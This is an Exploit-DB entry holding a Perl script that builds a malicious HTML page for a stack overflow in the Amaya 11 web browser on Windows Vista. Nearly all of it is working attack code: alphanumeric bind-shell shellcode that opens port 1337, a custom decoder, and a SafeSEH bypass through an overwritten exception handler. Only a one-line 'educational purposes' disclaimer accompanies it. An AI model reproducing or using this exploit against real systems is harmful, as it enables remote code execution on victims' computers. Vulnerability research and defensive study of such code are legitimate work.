Exploit-DB #7989
Description: Amaya Web Browser 11 (Windows Vista) - bdo tag Remote Stack Overflow
Type: remote
Platform: windows
Date: 2009-02-04
Author: Rob Carter

Exploit:
#!/usr/bin/perl

#############################################
#
#   Amaya 11 bdo tag stack overflow
#
#   author: Rob Carter (cartrel@hotmail.com)
#
#   targets: windows vista sp1
#
#   modified the alpha-numeric shell-code
#   from metasploit since the first 12 bytes
#   didn't fall within the ASCII range of
#   0x01-0x7f. otherwise my payload would
#   have been corrupted on the stack. wrote
#   a 47-byte decoder to repair the shell-
#   code to its original state.
#
#   this exploit bypasses safeSEH by jumping
#   to a pop pop push pop ret sequence in
#   one of the amaya modules that has a
#   constant base address in memory. ret's
#   back to the stack, short jump over the
#   overwritten SEH, decodes the first 12
#   bytes of the shellcode and then runs
#   the repaired shellcode to bind a shell
#   on port 1337.
#
#   $ perl amaya_sploit.pl > pwn.html
#
#   the author is not responsible for any misuse of
#   this code. it is intended for educational
#   purposes only
#
#############################################

# win32_bind -  EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
# original first 12 bytes of shellcode:
# "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49".
"\x7f\x01\x01\x7f\x03\x68\x78\x70\x6f\x6f\x3d\x37".
"\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".
"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x48".
"\x4e\x46\x46\x42\x46\x42\x4b\x58\x45\x44\x4e\x33\x4b\x38\x4e\x47".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x38".
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x53\x4b\x58".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x4a\x52\x45\x37\x45\x4e\x4b\x48".
"\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54".
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x43\x50\x4e\x32\x4b\x48".
"\x49\x48\x4e\x36\x46\x52\x4e\x31\x41\x56\x43\x4c\x41\x53\x4b\x4d".
"\x46\x56\x4b\x48\x43\x54\x42\x53\x4b\x58\x42\x44\x4e\x30\x4b\x48".
"\x42\x37\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x30\x50\x45\x4a\x56".
"\x50\x38\x50\x54\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x36".
"\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x43\x4a\x46\x47\x37\x43\x47".
"\x44\x33\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x33\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e".
"\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50".
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35".
"\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x45\x43\x35\x43\x55\x43\x54".
"\x43\x45\x43\x34\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x45\x30".
"\x49\x43\x48\x36\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x36\x46\x4a".
"\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x41".
"\x41\x45\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x32".
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x45\x45\x35\x4f\x4f\x42\x4d".
"\x4a\x36\x45\x4e\x49\x44\x48\x48\x49\x44\x47\x55\x4f\x4f\x48\x4d".
"\x42\x55\x46\x45\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x36".
"\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x55".
"\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x46\x48\x56\x4a\x36\x43\x56".
"\x4d\x56\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x52\x4e\x4c".
"\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x53\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x34\x4e\x32".
"\x43\x49\x4d\x48\x4c\x57\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56".
"\x44\x37\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x47\x46\x54\x4f\x4f".
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x35\x41\x45\x4c\x56".
"\x41\x50\x41\x45\x41\x55\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x56".
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x56".
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x38\x47\x45\x4e\x4f".
"\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d".
"\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x45\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";

$decoder =
"\x5b".			# pop ebx
"\x5b".			# pop ebx
"\x68\x6c\x02\x58\x6c".	# push 0x6c58026c
"\x58".			# pop eax
"\x01\x43\x38".		# add dword ptr[ebx+38],eax
"\x68\x01\x01\x01\x10".	# push 0x10010101
"\x58".			# pop eax
"\x01\x43\x3c".		# add dword ptr[ebx+3c],eax
"\x68\x01\x7f\x7f\x7f".	# push 0x7f7f7f01
"\x58".			# pop eax
"\x01\x43\x3c".		# add dword ptr[ebx+3c],eax
"\x68\x11\x11\x01\x01".	# push 0x01011111
"\x58".			# pop eax
"\x01\x43\x40".		# add dword ptr[ebx+40],eax
"\x68\x7f\x7f\x11\x11".	# push 0x11117f7f
"\x58".			# pop eax
"\x01\x43\x40";		# add dword ptr[ebx+40],eax

$payload =
"<bdo dir=\"".
"A" x 6905 .
"\x74\x06\x41\x41".
"\x51\x55\x03\x10".	# pop - pop - push - pop - ret 0c
$decoder.
"A".
$shellcode.
"\">pwnd!</bdo>";

print $payload;

# milw0rm.com [2009-02-04]